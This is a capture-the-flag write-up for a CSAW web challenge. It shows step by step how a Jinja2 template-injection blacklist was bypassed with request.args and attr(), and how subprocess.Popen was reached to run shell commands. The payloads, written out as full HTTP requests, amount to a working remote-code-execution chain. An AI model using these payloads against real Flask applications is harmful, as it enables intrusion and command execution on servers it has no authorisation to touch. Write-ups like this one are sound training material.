Ninja
Flask Server-Side Template Injection (SSTI)
Description
Hey guys come check out this website I made to test my ninja-coding skills.
http://web.chal.csaw.io:5000
Solution
The webpage is vulnerable to a Server-Side Template Injection (SSTI) vulnerability.
However, there are a few restrictions. Using any of the blacklisted words will yield the following error:
Sorry, the following keywords/characters are not allowed :- _ ,config ,os, RUNCMD, base
Filter Bypass
I found this excellent tutorial on how to bypass Jinja2 SSTI filters. Basically, we can pass in any of the blacklisted characters as GET request arguments, then access them through request.args.
This allows us to pass them into attr(), which is a Jinja2 built-in filter that gets an attribute of an object. foo|attr("bar") is equivalent to foo.bar.
The following payload:
/submit?value={{()|attr(request.args.c)}}&c=__class__
will result in ().__class__ being evaluated and shown to the user.
Finding subprocess.Popen
To get the subclasses, we do ().__class__.__base__.__subclasses__().
GET /submit?value={{()|attr(request.args.c)|attr(request.args.b)|attr(request.args.s)()}}&c=__class__&b=__base__&s=__subclasses__ HTTP/1.1
Host: web.chal.csaw.io:5000
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://web.chal.csaw.io:5000/
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Connection: closeI copied the output and used the following script to find <class 'subprocess.Popen'> in the subclasses. The index was 258.
check = "..."
for index,value in enumerate(check.split(',')):
if "subprocess.Popen" in value:
print(index)We are subsequently able to access this index to obtain RCE through subprocess.Popen.
RCE
With access to subprocess.Popen, we simply have to leverage it to achieve RCE.
GET /submit?value={{()|attr(request.args.c)|attr(request.args.b)|attr(request.args.s)()|attr(request.args.g)(258)('ls',shell=True,stdout=-1)|attr('communicate')()|attr(request.args.g)(0)|attr('decode')('utf-8')}}&c=__class__&b=__base__&s=__subclasses__&g=__getitem__ HTTP/1.1
Host: web.chal.csaw.io:5000
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://web.chal.csaw.io:5000/
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Connection: closeFinally, cat flag.txt gives us the flag!

The flag is flag{m0mmy_s33_1m_4_r34l_n1nj4}.
Last updated
Was this helpful?